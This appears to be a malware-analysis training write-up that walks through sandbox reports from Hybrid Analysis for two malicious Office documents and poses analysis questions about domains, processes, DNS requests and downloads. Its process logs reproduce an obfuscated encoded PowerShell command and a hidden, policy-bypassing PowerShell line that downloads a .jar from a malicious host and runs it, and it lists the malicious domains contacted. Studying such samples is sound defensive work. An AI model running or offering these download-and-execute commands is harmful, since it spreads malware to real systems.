

Analysis with Sandboxes

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
Intro:

Security analysts use a sandbox for malware analysis for several crucial reasons:

1. **Isolation:** Sandboxes provide a controlled and isolated environment separate from the production network or systems. This isolation ensures that the malware does not propagate or affect critical infrastructure during analysis.
 2. **Dynamic Analysis:** Sandboxes allow for dynamic analysis of malware by executing it in a controlled environment. This involves observing the behavior of the malware as it runs, identifying network connections, file modifications, and system changes. This information is valuable for understanding the malware's capabilities and potential impact.
 3. **Safe Execution:** Malware often includes techniques to detect virtual or analysis environments. Sandboxes are designed to mimic real systems, making it more difficult for malware to identify that it is running in an artificial environment, thereby allowing it to execute and reveal its true nature.
 4. **Forensic Analysis:** Sandboxes capture a detailed record of system changes made by the malware during execution. This information is crucial for forensic analysis, helping analysts understand the full scope of the malware's impact on the system.
 5. **Behavioral Analysis:** Sandboxes allow analysts to observe the behavioral patterns of malware, such as registry modifications, file system changes, or attempts to inject code into other processes. Understanding these behaviors aids in creating effective detection and mitigation strategies.
- *Bonus: Training and Skill Development: Using sandboxes for malware analysis provides security analysts with hands-on experience in dealing with various types of threats. It helps in skill development and understanding emerging trends in the cyber threat landscape.

In summary, sandboxes provide a controlled and secure environment for security analysts to analyze and understand the behavior of malware without exposing their production systems to potential harm. This

approach is essential for effective threat intelligence, incident response, and enhancing overall cybersecurity defenses.



The screenshot displays the Hybrid Analysis web interface. At the top, the Hybrid Analysis logo is on the left, and a hamburger menu icon is on the right. Below the logo, the file name "PO-465514-180820.doc" is shown with a chain-link icon. To the right of the file name is a red button labeled "malicious". Below the file name, a detailed report is generated from a file or URL submitted on November 26th, 2023, at 22:21:18 (UTC). The report includes a Threat Score of 100/100, AV Detection of 85%, and is labeled as "Trojan.Generic". The guest system is identified as Windows 11 64 bit, Professional, 10.0 (build 22H2), Office 2010 v14.0.6. The report was generated by Falcon Sandbox v11.0.2 © Hybrid Analysis. Below the report details, there are several tabs: "Overview" (selected), "Sample unavailable", "Downloads", and "External Reports". To the right of these tabs are social media sharing buttons for #letsdefend, #lto, #phishing, and #macros-on-open. Below the tabs, there are buttons for "Re-analyze", "Hash Not Seen Before", "No similar samples", and "Report False-Positive". At the bottom, there is a button for "Request Report Deletion".

Malware Analysis Playbook

Domain Analysis

****Objective:**** Determine the nature and significance of the domain ending with ".kz" that the file "PO-465514-180820.doc" is attempting to connect to.

Procedure:

- Investigate the domain ending with ".kz" to understand its origin and potential implications.

Connection Requests Identification

****Objective:**** Identify the (**Windows, OS, Linux**) tool responsible for the connection requests made by the file "PO-465514-180820.doc."

Hybrid Analysis



Tip: Click an analysed process below to view more details.

Analysed 5 processes in total.

WINWORD.EXE /n "C:\PO-465514-180820.doc" (PID: 3348)

splwow64.exe 12288 (PID: 1856) Hash Seen Before

powershell.exe powershell -e JABPAGcAbwBIAF8ANQAxAD0AKAAnAFEAdAA3ACcAKwAnADEAJwArACcAdABsADUAJwApADsALgAoACcAbgBIACcAKwAnAHcALQBpACcAKwAnAHQAZQBtACcAKQAgACQARQBOAFYAOGB0AEUAbQBwAFwATwBGAEYASQBDAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABIACAARABpAFIARQBjAHQAbwByAFkAOWBbAE4AZQB0AC4AUwBIAHIAHgBpAGMAZQBQAG8AaQBwAHQAQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAYABIAEMAVQByAGkAVAB5AGAAUABYAE8AVABgAE8AQwBgAE8AbAAiACAAPQAgACgAJwB0ACcAKwAnAGwAcwAxADIAJwArACcALAAGcACcAKwAnAHQAbABzACcAKwAnADEAMQAsACAAdABsAHMAJwApADsAJABRAGEaawBmAG8AMABxACAAPQAgACgAJwBaADAAJwArACcAZgB2ADMAawBiAGcAJwApADsAJABCAHIAHgAzADUAcgBzAD0AKAAnAEUANGBoACcAKwAnADQAJwArACcAbgBrAG4AJwApADsAJABFAGMAOQB3ADQAZQAwAD0AJABIAg4AdgA6AHQAZQBtAHAAKwAoACgAJwBOACcAKwAnADMACABPACcAKwAnAGYAZgBpAGMAZQAYADAAMQA5AE4AMwAnACsAJwBwACcAKQAuACIACgBIAGAAUABsAGAAQQBjAEUAIgAoACcATgAzAHAAJwAsAFsAcwBUAHIAaQBOAGcAXQBbAEMA SABhAFIAXQA5ADIAKQApACsAJABRAGEaawBmAG8AMABxACsAKAAnAC4AZQB4ACcAKwAnAGUAJwApADsAJABaAF8AagBqAGkAMwBtAD0AKAAnAE8AZwBwADUAJwArACcANwB3ACcAKwAnAGoAJwApADsAJABZADcAagBtAHgAegA4AD0AJgAoACcAbgBIAHcALQAnACsAJwBvAGIAagBIACcAKwAnAGMAdAAAnACkAIABOAEUAVAAuAHcAZQBjAGMATABJAEUAbgB0ADsAJABJAG4AbgBIAHcAYwBfAD0AKAAnAGgAdAB0AHAAJwArACcAOgAnACsAJwAvACcAKwAnAC8ANQAnACsAJwAyACcAKwAnADUAJwArACcANQAnACsAJwAwACcAKwAnADcANQAwAC0ANQAnACsAJwA2ACcAKwAnAC0AMgAwADEAOAAwADgAMgAnACsAJwA2ADEANQAxACcAKwAnADQANQAnACsAJwAzACcAKwAnAC4AdwBIACcAKwAnAGIAcwB0AGEAcgB0AGUAJwAr

DNS Request Analysis







****Objective:**** Determine the number of addresses the file "PO-465514-180820.doc" sends DNS requests to.

- Analyze DNS requests generated by the file "PO-465514-180820.doc" to identify the number of unique addresses it attempts to contact.

Network Analysis

DNS Requests


Login to Download DNS Requests (CSV)

Domain	Address	Registrar	Country
52550750-56-20180826151453.webstarterz.com 	-	GMO INTERNET, INC. Organization: onamae.com-rentalservice onamae.com-rentalservice Name Server: NS-A1.CLOUD.Z.COM Creation Date: 2015-07-21T08:39:59	-
bike-nomad.com 	63.247.140.170 TTL: 3600	Domain.com, LLC Organization: REDACTED FOR PRIVACY Name Server: NS3.HMDNSGROUP.COM Creation Date: 1999-05-28T18:51:09	 United States
okcupidating.com 	-	GoDaddy.com, LLC Organization: Edge Garden Services Name Server: NS37.DOMAINCONTROL.COM Creation Date: 2020-08-14T08:27:17	-
oubaina.com 	123.253.24.22 TTL: 600	DNSPod, Inc. Organization: REDACTED FOR PRIVACY	 Hong Kong

Download Activity Analysis





****Objective:**** Identify the file name with which the "Siparis_17.xls" malware document **attempts to save the file** it is downloading to the device.

Hybrid Analysis

 **Tip:** Click an analysed process below to view more details.

Analysed 3 processes in total.

```
EXCELEXE /dde (PID: 188)
├── CMD.exe /c powershell -executionpolicy bypass -W Hidden -command "& { (new-object System.Net.WebClient).DownloadFile(\"http://hocoso.mobi\" \".\%temp%\6LeGwKrmr.jar\") } & %temp%\6LeGwKrmr.jar (PID: 10160) Hash Seen Before"
└── powershell.exe powershell -executionpolicy bypass -W Hidden -command "& { (new-object System.Net.WebClient).DownloadFile(\"http://hocoso.mobi\" \".\%TEMP%\6LeGwKrmr.jar\") }" (PID: 6192) Hash Seen Before
```

 Expanded Script Calls  Expanded Striout  Expanded Streams  Expanded Dumps

Summary:

This revised playbook provides a structured approach to analyzing the behavior of the mentioned files, addressing key aspects such as domain analysis, identification of tools used, DNS request analysis, and understanding the download activity of the malware document.

